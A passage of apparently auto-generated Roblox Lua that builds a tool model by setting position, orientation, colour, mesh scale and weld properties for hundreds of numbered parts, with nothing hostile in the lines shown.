  3607. Part305.Parent = Tool0
  3608. Part305.Material = Enum.Material.Metal
  3609. Part305.BrickColor = BrickColor.new("Dark stone grey")
  3610. Part305.Rotation = Vector3.new(-90, 90, 0)
  3611. Part305.Anchored = true
  3612. Part305.FormFactor = Enum.FormFactor.Custom
  3613. Part305.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3614. Part305.CFrame = CFrame.new(144.662933, 3.97324896, 144.31427, 0, 0, 1, -0.999999881, 0, 0, 0, -0.999999881, 0)
  3615. Part305.BottomSurface = Enum.SurfaceType.Smooth
  3616. Part305.TopSurface = Enum.SurfaceType.Smooth
  3617. Part305.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3618. Part305.Position = Vector3.new(144.662933, 3.97324896, 144.31427)
  3619. Part305.Orientation = Vector3.new(0, 90, -90)
  3620. Part305.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3621. SpecialMesh306.Parent = Part305
  3622. SpecialMesh306.Scale = Vector3.new(0.166666448, 0.0333333388, 0.166666672)
  3623. SpecialMesh306.MeshType = Enum.MeshType.Wedge
  3624. SpecialMesh306.Scale = Vector3.new(0.166666448, 0.0333333388, 0.166666672)
  3625. Part307.Parent = Tool0
  3626. Part307.Material = Enum.Material.Metal
  3627. Part307.BrickColor = BrickColor.new("Dark stone grey")
  3628. Part307.Rotation = Vector3.new(90, 0, -90)
  3629. Part307.Anchored = true
  3630. Part307.FormFactor = Enum.FormFactor.Custom
  3631. Part307.Size = Vector3.new(0.200000003, 0.300000012, 0.200000003)
  3632. Part307.CFrame = CFrame.new(143.469604, 3.89991403, 144.28093, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  3633. Part307.BottomSurface = Enum.SurfaceType.Smooth
  3634. Part307.TopSurface = Enum.SurfaceType.Smooth
  3635. Part307.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3636. Part307.Position = Vector3.new(143.469604, 3.89991403, 144.28093)
  3637. Part307.Orientation = Vector3.new(90, 90, 0)
  3638. Part307.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3639. CylinderMesh308.Parent = Part307
  3640. CylinderMesh308.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  3641. CylinderMesh308.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  3642. ManualWeld309.Name = "Part-to-AimPart Strong Joint"
  3643. ManualWeld309.Parent = Part307
  3644. ManualWeld309.C0 = CFrame.new(0.100000001, -0.150000006, -0.100000001, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  3645. ManualWeld309.C1 = CFrame.new(-0.210006714, -0.0999891758, -0.596664429, 1, 0, 0, 0, 0, 1, 0, -1, 0)
  3646. ManualWeld309.Part0 = Part307
  3647. ManualWeld309.Part1 = Part420
  3648. Part310.Parent = Tool0
  3649. Part310.Material = Enum.Material.Metal
  3650. Part310.BrickColor = BrickColor.new("Dark stone grey")
  3651. Part310.Rotation = Vector3.new(-90, 0, 90)
  3652. Part310.Anchored = true
  3653. Part310.FormFactor = Enum.FormFactor.Custom
  3654. Part310.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3655. Part310.CFrame = CFrame.new(144.396271, 3.966573, 144.28093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  3656. Part310.BottomSurface = Enum.SurfaceType.Smooth
  3657. Part310.TopSurface = Enum.SurfaceType.Smooth
  3658. Part310.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3659. Part310.Position = Vector3.new(144.396271, 3.966573, 144.28093)
  3660. Part310.Orientation = Vector3.new(-90, 90, 0)
  3661. Part310.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3662. SpecialMesh311.Parent = Part310
  3663. SpecialMesh311.Scale = Vector3.new(0.0333333351, 0.900000274, 0.100000083)
  3664. SpecialMesh311.MeshType = Enum.MeshType.Wedge
  3665. SpecialMesh311.Scale = Vector3.new(0.0333333351, 0.900000274, 0.100000083)
  3666. Part312.Parent = Tool0
  3667. Part312.Material = Enum.Material.Metal
  3668. Part312.BrickColor = BrickColor.new("Dark stone grey")
  3669. Part312.Rotation = Vector3.new(-90, 0, 90)
  3670. Part312.Anchored = true
  3671. Part312.FormFactor = Enum.FormFactor.Custom
  3672. Part312.Size = Vector3.new(0.200000003, 0.906666756, 0.200000003)
  3673. Part312.CFrame = CFrame.new(144.186279, 3.969908, 144.357605, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  3674. Part312.BottomSurface = Enum.SurfaceType.Smooth
  3675. Part312.TopSurface = Enum.SurfaceType.Smooth
  3676. Part312.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3677. Part312.Position = Vector3.new(144.186279, 3.969908, 144.357605)
  3678. Part312.Orientation = Vector3.new(-90, 90, 0)
  3679. Part312.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3680. BlockMesh313.Parent = Part312
  3681. BlockMesh313.Scale = Vector3.new(0.0666666776, 1, 0.13333331)
  3682. BlockMesh313.Scale = Vector3.new(0.0666666776, 1, 0.13333331)
  3683. Part314.Parent = Tool0
  3684. Part314.Material = Enum.Material.Metal
  3685. Part314.BrickColor = BrickColor.new("Dark stone grey")
  3686. Part314.Rotation = Vector3.new(-90, -15.0099993, 0)
  3687. Part314.Anchored = true
  3688. Part314.FormFactor = Enum.FormFactor.Custom
  3689. Part314.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3690. Part314.CFrame = CFrame.new(143.102783, 3.81143498, 144.497604, 0.965896666, 0, -0.258930802, 0.258930802, 0, 0.965896666, 0, -1, -0)
  3691. Part314.BottomSurface = Enum.SurfaceType.Smooth
  3692. Part314.TopSurface = Enum.SurfaceType.Smooth
  3693. Part314.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3694. Part314.Position = Vector3.new(143.102783, 3.81143498, 144.497604)
  3695. Part314.Orientation = Vector3.new(-74.9899979, -90, 90)
  3696. Part314.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3697. CylinderMesh315.Parent = Part314
  3698. CylinderMesh315.Scale = Vector3.new(0.200000018, 0.0333333351, 0.166666597)
  3699. CylinderMesh315.Scale = Vector3.new(0.200000018, 0.0333333351, 0.166666597)
  3700. Part316.Parent = Tool0
  3701. Part316.Material = Enum.Material.Metal
  3702. Part316.BrickColor = BrickColor.new("Dark stone grey")
  3703. Part316.Rotation = Vector3.new(90, -90, 0)
  3704. Part316.Anchored = true
  3705. Part316.FormFactor = Enum.FormFactor.Custom
  3706. Part316.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3707. Part316.CFrame = CFrame.new(144.562943, 3.973243, 144.494263, 0, 0, -1, -1, 0, 0, 0, 1, 0)
  3708. Part316.BottomSurface = Enum.SurfaceType.Smooth
  3709. Part316.TopSurface = Enum.SurfaceType.Smooth
  3710. Part316.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3711. Part316.Position = Vector3.new(144.562943, 3.973243, 144.494263)
  3712. Part316.Orientation = Vector3.new(0, -90, -90)
  3713. Part316.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3714. SpecialMesh317.Parent = Part316
  3715. SpecialMesh317.Scale = Vector3.new(0.166666448, 0.100000016, 0.766666651)
  3716. SpecialMesh317.MeshType = Enum.MeshType.Wedge
  3717. SpecialMesh317.Scale = Vector3.new(0.166666448, 0.100000016, 0.766666651)
  3718. Part318.Parent = Tool0
  3719. Part318.Material = Enum.Material.Metal
  3720. Part318.BrickColor = BrickColor.new("Black")
  3721. Part318.Rotation = Vector3.new(-90, 0, 90)
  3722. Part318.Anchored = true
  3723. Part318.FormFactor = Enum.FormFactor.Custom
  3724. Part318.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3725. Part318.CFrame = CFrame.new(144.342941, 3.79991198, 144.397598, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  3726. Part318.BottomSurface = Enum.SurfaceType.Smooth
  3727. Part318.TopSurface = Enum.SurfaceType.Smooth
  3728. Part318.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3729. Part318.Position = Vector3.new(144.342941, 3.79991198, 144.397598)
  3730. Part318.Orientation = Vector3.new(-90, 90, 0)
  3731. Part318.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3732. BlockMesh319.Parent = Part318
  3733. BlockMesh319.Scale = Vector3.new(0.999999285, 0.100000061, 0.166666672)
  3734. BlockMesh319.Scale = Vector3.new(0.999999285, 0.100000061, 0.166666672)
  3735. Part320.Parent = Tool0
  3736. Part320.Material = Enum.Material.Metal
  3737. Part320.BrickColor = BrickColor.new("Dark stone grey")
  3738. Part320.Rotation = Vector3.new(-90, -60, 90)
  3739. Part320.Anchored = true
  3740. Part320.FormFactor = Enum.FormFactor.Custom
  3741. Part320.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3742. Part320.CFrame = CFrame.new(144.177887, 3.53699899, 144.39093, -3.43577899e-09, -0.499927372, -0.866068482, 1.98384043e-09, -0.866069317, 0.499927849, -1.00000095, -6.63913369e-14, 3.96714306e-09)
  3743. Part320.BottomSurface = Enum.SurfaceType.Smooth
  3744. Part320.TopSurface = Enum.SurfaceType.Smooth
  3745. Part320.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3746. Part320.Position = Vector3.new(144.177887, 3.53699899, 144.39093)
  3747. Part320.Orientation = Vector3.new(-30, -90, 180)
  3748. Part320.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3749. SpecialMesh321.Parent = Part320
  3750. SpecialMesh321.Scale = Vector3.new(0.299999982, 0.0666666701, 0.333333373)
  3751. SpecialMesh321.MeshType = Enum.MeshType.Wedge
  3752. SpecialMesh321.Scale = Vector3.new(0.299999982, 0.0666666701, 0.333333373)
  3753. Part322.Parent = Tool0
  3754. Part322.Material = Enum.Material.Metal
  3755. Part322.BrickColor = BrickColor.new("Dark stone grey")
  3756. Part322.Rotation = Vector3.new(90, 0, -180)
  3757. Part322.Anchored = true
  3758. Part322.FormFactor = Enum.FormFactor.Custom
  3759. Part322.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3760. Part322.CFrame = CFrame.new(143.236267, 4.00324106, 144.39093, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  3761. Part322.BottomSurface = Enum.SurfaceType.Smooth
  3762. Part322.TopSurface = Enum.SurfaceType.Smooth
  3763. Part322.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3764. Part322.Position = Vector3.new(143.236267, 4.00324106, 144.39093)
  3765. Part322.Orientation = Vector3.new(90, 180, 0)
  3766. Part322.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3767. BlockMesh323.Parent = Part322
  3768. BlockMesh323.Scale = Vector3.new(0.100000009, 0.400000066, 0.0666666701)
  3769. BlockMesh323.Scale = Vector3.new(0.100000009, 0.400000066, 0.0666666701)
  3770. Part324.Parent = Tool0
  3771. Part324.Material = Enum.Material.Metal
  3772. Part324.BrickColor = BrickColor.new("Dark stone grey")
  3773. Part324.Rotation = Vector3.new(90, 0, -180)
  3774. Part324.Anchored = true
  3775. Part324.FormFactor = Enum.FormFactor.Custom
  3776. Part324.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3777. Part324.CFrame = CFrame.new(143.222946, 4.07990694, 144.370956, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  3778. Part324.BottomSurface = Enum.SurfaceType.Smooth
  3779. Part324.TopSurface = Enum.SurfaceType.Smooth
  3780. Part324.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3781. Part324.Position = Vector3.new(143.222946, 4.07990694, 144.370956)
  3782. Part324.Orientation = Vector3.new(90, 180, 0)
  3783. Part324.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3784. BlockMesh325.Parent = Part324
  3785. BlockMesh325.Scale = Vector3.new(0.0233333316, 0.13333331, 0.0433333293)
  3786. BlockMesh325.Scale = Vector3.new(0.0233333316, 0.13333331, 0.0433333293)
  3787. Part326.Parent = Tool0
  3788. Part326.Material = Enum.Material.Metal
  3789. Part326.BrickColor = BrickColor.new("Black")
  3790. Part326.Rotation = Vector3.new(-90, 0, 90)
  3791. Part326.Anchored = true
  3792. Part326.FormFactor = Enum.FormFactor.Custom
  3793. Part326.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3794. Part326.CFrame = CFrame.new(143.752945, 3.25991702, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  3795. Part326.BottomSurface = Enum.SurfaceType.Smooth
  3796. Part326.TopSurface = Enum.SurfaceType.Smooth
  3797. Part326.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3798. Part326.Position = Vector3.new(143.752945, 3.25991702, 144.39093)
  3799. Part326.Orientation = Vector3.new(-90, 90, 0)
  3800. Part326.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3801. BlockMesh327.Parent = Part326
  3802. BlockMesh327.Scale = Vector3.new(0.666666687, 0.333333373, 0.833333373)
  3803. BlockMesh327.Scale = Vector3.new(0.666666687, 0.333333373, 0.833333373)
  3804. Part328.Parent = Tool0
  3805. Part328.Material = Enum.Material.Metal
  3806. Part328.BrickColor = BrickColor.new("Dark stone grey")
  3807. Part328.Rotation = Vector3.new(-90, -60, 90)
  3808. Part328.Anchored = true
  3809. Part328.FormFactor = Enum.FormFactor.Custom
  3810. Part328.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3811. Part328.CFrame = CFrame.new(144.049606, 3.51324797, 144.39093, 0, -0.500036418, -0.866004467, 0, -0.866004467, 0.500036418, -1, 0, -0)
  3812. Part328.BottomSurface = Enum.SurfaceType.Smooth
  3813. Part328.TopSurface = Enum.SurfaceType.Smooth
  3814. Part328.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3815. Part328.Position = Vector3.new(144.049606, 3.51324797, 144.39093)
  3816. Part328.Orientation = Vector3.new(-30, -90, 180)
  3817. Part328.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3818. BlockMesh329.Parent = Part328
  3819. BlockMesh329.Scale = Vector3.new(0.599999964, 0.100000009, 0.833333373)
  3820. BlockMesh329.Scale = Vector3.new(0.599999964, 0.100000009, 0.833333373)
  3821. Part330.Parent = Tool0
  3822. Part330.Material = Enum.Material.Metal
  3823. Part330.BrickColor = BrickColor.new("Dark stone grey")
  3824. Part330.Rotation = Vector3.new(90, 0, -180)
  3825. Part330.Anchored = true
  3826. Part330.FormFactor = Enum.FormFactor.Custom
  3827. Part330.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3828. Part330.CFrame = CFrame.new(143.802933, 3.25991702, 144.460938, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  3829. Part330.BottomSurface = Enum.SurfaceType.Smooth
  3830. Part330.TopSurface = Enum.SurfaceType.Smooth
  3831. Part330.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3832. Part330.Position = Vector3.new(143.802933, 3.25991702, 144.460938)
  3833. Part330.Orientation = Vector3.new(90, 180, 0)
  3834. Part330.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3835. CylinderMesh331.Parent = Part330
  3836. CylinderMesh331.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
  3837. CylinderMesh331.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
  3838. Part332.Parent = Tool0
  3839. Part332.Material = Enum.Material.Metal
  3840. Part332.BrickColor = BrickColor.new("Dark stone grey")
  3841. Part332.Rotation = Vector3.new(90, 0, -180)
  3842. Part332.Anchored = true
  3843. Part332.FormFactor = Enum.FormFactor.Custom
  3844. Part332.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3845. Part332.CFrame = CFrame.new(143.229599, 4.03324604, 144.347595, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  3846. Part332.BottomSurface = Enum.SurfaceType.Smooth
  3847. Part332.TopSurface = Enum.SurfaceType.Smooth
  3848. Part332.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3849. Part332.Position = Vector3.new(143.229599, 4.03324604, 144.347595)
  3850. Part332.Orientation = Vector3.new(90, 180, 0)
  3851. Part332.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3852. CylinderMesh333.Parent = Part332
  3853. CylinderMesh333.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666672)
  3854. CylinderMesh333.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666672)
  3855. Part334.Parent = Tool0
  3856. Part334.Material = Enum.Material.Metal
  3857. Part334.BrickColor = BrickColor.new("Dark stone grey")
  3858. Part334.Rotation = Vector3.new(-90, 0, 90)
  3859. Part334.Anchored = true
  3860. Part334.FormFactor = Enum.FormFactor.Custom
  3861. Part334.Size = Vector3.new(0.200000003, 0.333333343, 0.200000003)
  3862. Part334.CFrame = CFrame.new(143.952927, 3.76324296, 144.500931, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  3863. Part334.BottomSurface = Enum.SurfaceType.Smooth
  3864. Part334.TopSurface = Enum.SurfaceType.Smooth
  3865. Part334.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3866. Part334.Position = Vector3.new(143.952927, 3.76324296, 144.500931)
  3867. Part334.Orientation = Vector3.new(-90, 90, 0)
  3868. Part334.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3869. BlockMesh335.Parent = Part334
  3870. BlockMesh335.Scale = Vector3.new(0.0333333351, 1, 0.333333343)
  3871. BlockMesh335.Scale = Vector3.new(0.0333333351, 1, 0.333333343)
  3872. Part336.Parent = Tool0
  3873. Part336.Material = Enum.Material.Metal
  3874. Part336.BrickColor = BrickColor.new("Dark stone grey")
  3875. Part336.Rotation = Vector3.new(-90, 0, 90)
  3876. Part336.Anchored = true
  3877. Part336.FormFactor = Enum.FormFactor.Custom
  3878. Part336.Size = Vector3.new(0.200000003, 0.333333343, 0.200000003)
  3879. Part336.CFrame = CFrame.new(143.952927, 3.76324797, 144.28093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  3880. Part336.BottomSurface = Enum.SurfaceType.Smooth
  3881. Part336.TopSurface = Enum.SurfaceType.Smooth
  3882. Part336.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3883. Part336.Position = Vector3.new(143.952927, 3.76324797, 144.28093)
  3884. Part336.Orientation = Vector3.new(-90, 90, 0)
  3885. Part336.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3886. BlockMesh337.Parent = Part336
  3887. BlockMesh337.Scale = Vector3.new(0.0333333351, 1, 0.333333343)
  3888. BlockMesh337.Scale = Vector3.new(0.0333333351, 1, 0.333333343)
  3889. Part338.Parent = Tool0
  3890. Part338.Material = Enum.Material.Metal
  3891. Part338.BrickColor = BrickColor.new("Dark stone grey")
  3892. Part338.Rotation = Vector3.new(90, 0, -180)
  3893. Part338.Anchored = true
  3894. Part338.FormFactor = Enum.FormFactor.Custom
  3895. Part338.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3896. Part338.CFrame = CFrame.new(143.802933, 3.43991399, 144.460938, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  3897. Part338.BottomSurface = Enum.SurfaceType.Smooth
  3898. Part338.TopSurface = Enum.SurfaceType.Smooth
  3899. Part338.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3900. Part338.Position = Vector3.new(143.802933, 3.43991399, 144.460938)
  3901. Part338.Orientation = Vector3.new(90, 180, 0)
  3902. Part338.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3903. CylinderMesh339.Parent = Part338
  3904. CylinderMesh339.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
  3905. CylinderMesh339.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
  3906. Part340.Parent = Tool0
  3907. Part340.Material = Enum.Material.Metal
  3908. Part340.BrickColor = BrickColor.new("Black")
  3909. Part340.Rotation = Vector3.new(-90, 0, -180)
  3910. Part340.Anchored = true
  3911. Part340.FormFactor = Enum.FormFactor.Custom
  3912. Part340.Size = Vector3.new(0.200000003, 0.213333324, 0.200000003)
  3913. Part340.CFrame = CFrame.new(144.289597, 3.79991603, 144.39093, -1, 0, 0, 0, 0, 1, 0, 1, -0)
  3914. Part340.BottomSurface = Enum.SurfaceType.Smooth
  3915. Part340.TopSurface = Enum.SurfaceType.Smooth
  3916. Part340.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3917. Part340.Position = Vector3.new(144.289597, 3.79991603, 144.39093)
  3918. Part340.Orientation = Vector3.new(-90, -180, 0)
  3919. Part340.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3920. CylinderMesh341.Parent = Part340
  3921. CylinderMesh341.Scale = Vector3.new(0.333333433, 1, 0.166666672)
  3922. CylinderMesh341.Scale = Vector3.new(0.333333433, 1, 0.166666672)
  3923. ManualWeld342.Name = "Part-to-Handle Strong Joint"
  3924. ManualWeld342.Parent = Part340
  3925. ManualWeld342.C0 = CFrame.new(0.100000001, -0.106666662, 0.100000001, -0, 0, 1, 0, 1, 0, -1, 0, -0)
  3926. ManualWeld342.C1 = CFrame.new(-0.106674194, 0.234465361, -0.102676392, 0, 1, 0, -1, 0, -6.29127026e-05, -6.29127026e-05, 0, 1)
  3927. ManualWeld342.Part0 = Part340
  3928. ManualWeld342.Part1 = Part30
  3929. Part343.Parent = Tool0
  3930. Part343.Material = Enum.Material.Metal
  3931. Part343.BrickColor = BrickColor.new("Black")
  3932. Part343.Rotation = Vector3.new(90, 0, 90)
  3933. Part343.Anchored = true
  3934. Part343.FormFactor = Enum.FormFactor.Custom
  3935. Part343.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3936. Part343.CFrame = CFrame.new(143.772934, 3.48657799, 144.340927, 0, -1, 0, 0, 0, -1, 1, 0, 0)
  3937. Part343.BottomSurface = Enum.SurfaceType.Smooth
  3938. Part343.TopSurface = Enum.SurfaceType.Smooth
  3939. Part343.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3940. Part343.Position = Vector3.new(143.772934, 3.48657799, 144.340927)
  3941. Part343.Orientation = Vector3.new(90, -90, 0)
  3942. Part343.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3943. SpecialMesh344.Parent = Part343
  3944. SpecialMesh344.Scale = Vector3.new(0.166666567, 0.0666666403, 0.433333367)
  3945. SpecialMesh344.MeshType = Enum.MeshType.Wedge
  3946. SpecialMesh344.Scale = Vector3.new(0.166666567, 0.0666666403, 0.433333367)
  3947. Part345.Parent = Tool0
  3948. Part345.Material = Enum.Material.Metal
  3949. Part345.BrickColor = BrickColor.new("Black")
  3950. Part345.Rotation = Vector3.new(-90, 0, -180)
  3951. Part345.Anchored = true
  3952. Part345.FormFactor = Enum.FormFactor.Custom
  3953. Part345.Size = Vector3.new(0.200000003, 0.213333279, 0.200000003)
  3954. Part345.CFrame = CFrame.new(143.682938, 3.79991603, 144.39093, -1, 0, 0, 0, 0, 1, 0, 1, -0)
  3955. Part345.BottomSurface = Enum.SurfaceType.Smooth
  3956. Part345.TopSurface = Enum.SurfaceType.Smooth
  3957. Part345.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3958. Part345.Position = Vector3.new(143.682938, 3.79991603, 144.39093)
  3959. Part345.Orientation = Vector3.new(-90, -180, 0)
  3960. Part345.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3961. CylinderMesh346.Parent = Part345
  3962. CylinderMesh346.Scale = Vector3.new(0.333333433, 1, 0.166666672)
  3963. CylinderMesh346.Scale = Vector3.new(0.333333433, 1, 0.166666672)
  3964. Part347.Parent = Tool0
  3965. Part347.Material = Enum.Material.Metal
  3966. Part347.BrickColor = BrickColor.new("Black")
  3967. Part347.Rotation = Vector3.new(-90, 0, 90)
  3968. Part347.Anchored = true
  3969. Part347.FormFactor = Enum.FormFactor.Custom
  3970. Part347.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3971. Part347.CFrame = CFrame.new(143.782944, 3.66324496, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  3972. Part347.BottomSurface = Enum.SurfaceType.Smooth
  3973. Part347.TopSurface = Enum.SurfaceType.Smooth
  3974. Part347.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3975. Part347.Position = Vector3.new(143.782944, 3.66324496, 144.39093)
  3976. Part347.Orientation = Vector3.new(-90, 90, 0)
  3977. Part347.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3978. BlockMesh348.Parent = Part347
  3979. BlockMesh348.Scale = Vector3.new(0.666666746, 0.0333333351, 0.466666698)
  3980. BlockMesh348.Scale = Vector3.new(0.666666746, 0.0333333351, 0.466666698)
  3981. Part349.Parent = Tool0
  3982. Part349.Material = Enum.Material.Metal
  3983. Part349.BrickColor = BrickColor.new("Dark stone grey")
  3984. Part349.Rotation = Vector3.new(90, -59.9899979, -90)
  3985. Part349.Anchored = true
  3986. Part349.FormFactor = Enum.FormFactor.Custom
  3987. Part349.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3988. Part349.CFrame = CFrame.new(144.259598, 3.479913, 144.39093, 0, 0.500145674, -0.865941763, 0, -0.865941763, -0.500145674, -1, 0, 0)
  3989. Part349.BottomSurface = Enum.SurfaceType.Smooth
  3990. Part349.TopSurface = Enum.SurfaceType.Smooth
  3991. Part349.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3992. Part349.Position = Vector3.new(144.259598, 3.479913, 144.39093)
  3993. Part349.Orientation = Vector3.new(30.0100002, -90, 180)
  3994. Part349.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3995. BlockMesh350.Parent = Part349
  3996. BlockMesh350.Scale = Vector3.new(0.599999964, 0.100000009, 0.166666672)
  3997. BlockMesh350.Scale = Vector3.new(0.599999964, 0.100000009, 0.166666672)
  3998. Part351.Parent = Tool0
  3999. Part351.Material = Enum.Material.Metal
  4000. Part351.BrickColor = BrickColor.new("Dark stone grey")
  4001. Part351.Rotation = Vector3.new(90, 60, 90)
  4002. Part351.Anchored = true
  4003. Part351.FormFactor = Enum.FormFactor.Custom
  4004. Part351.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4005. Part351.CFrame = CFrame.new(144.136246, 3.56488299, 144.39093, 0, -0.499927223, 0.86606729, 0, -0.86606729, -0.499927223, 0.999999821, 0, 0)
  4006. Part351.BottomSurface = Enum.SurfaceType.Smooth
  4007. Part351.TopSurface = Enum.SurfaceType.Smooth
  4008. Part351.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4009. Part351.Position = Vector3.new(144.136246, 3.56488299, 144.39093)
  4010. Part351.Orientation = Vector3.new(30, 90, 180)
  4011. Part351.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4012. BlockMesh352.Parent = Part351
  4013. BlockMesh352.Scale = Vector3.new(0.299999982, 0.100000009, 0.166666672)
  4014. BlockMesh352.Scale = Vector3.new(0.299999982, 0.100000009, 0.166666672)
  4015. Part353.Parent = Tool0
  4016. Part353.Material = Enum.Material.Metal
  4017. Part353.BrickColor = BrickColor.new("Black")
  4018. Part353.Rotation = Vector3.new(90, 0, 90)
  4019. Part353.Anchored = true
  4020. Part353.FormFactor = Enum.FormFactor.Custom
  4021. Part353.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4022. Part353.CFrame = CFrame.new(143.77626, 3.35991502, 144.39093, 0, -1, 0, 0, 0, -1, 1, 0, 0)
  4023. Part353.BottomSurface = Enum.SurfaceType.Smooth
  4024. Part353.TopSurface = Enum.SurfaceType.Smooth
  4025. Part353.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4026. Part353.Position = Vector3.new(143.77626, 3.35991502, 144.39093)
  4027. Part353.Orientation = Vector3.new(90, -90, 0)
  4028. Part353.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4029. BlockMesh354.Parent = Part353
  4030. BlockMesh354.Scale = Vector3.new(0.666666687, 0.100000024, 0.166666672)
  4031. BlockMesh354.Scale = Vector3.new(0.666666687, 0.100000024, 0.166666672)
  4032. Part355.Parent = Tool0
  4033. Part355.Material = Enum.Material.Metal
  4034. Part355.BrickColor = BrickColor.new("Black")
  4035. Part355.Rotation = Vector3.new(90, 0, -180)
  4036. Part355.Anchored = true
  4037. Part355.FormFactor = Enum.FormFactor.Custom
  4038. Part355.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4039. Part355.CFrame = CFrame.new(143.082932, 3.86991811, 144.387604, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4040. Part355.BottomSurface = Enum.SurfaceType.Smooth
  4041. Part355.TopSurface = Enum.SurfaceType.Smooth
  4042. Part355.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4043. Part355.Position = Vector3.new(143.082932, 3.86991811, 144.387604)
  4044. Part355.Orientation = Vector3.new(90, 180, 0)
  4045. Part355.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4046. BlockMesh356.Parent = Part355
  4047. BlockMesh356.Scale = Vector3.new(0.366666734, 0.733332992, 0.533333421)
  4048. BlockMesh356.Scale = Vector3.new(0.366666734, 0.733332992, 0.533333421)
  4049. Part357.Parent = Tool0
  4050. Part357.Material = Enum.Material.Metal
  4051. Part357.BrickColor = BrickColor.new("Dark stone grey")
  4052. Part357.Rotation = Vector3.new(90, 0, -180)
  4053. Part357.Anchored = true
  4054. Part357.FormFactor = Enum.FormFactor.Custom
  4055. Part357.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4056. Part357.CFrame = CFrame.new(143.1996, 4.04323912, 144.434265, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4057. Part357.BottomSurface = Enum.SurfaceType.Smooth
  4058. Part357.TopSurface = Enum.SurfaceType.Smooth
  4059. Part357.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4060. Part357.Position = Vector3.new(143.1996, 4.04323912, 144.434265)
  4061. Part357.Orientation = Vector3.new(90, 180, 0)
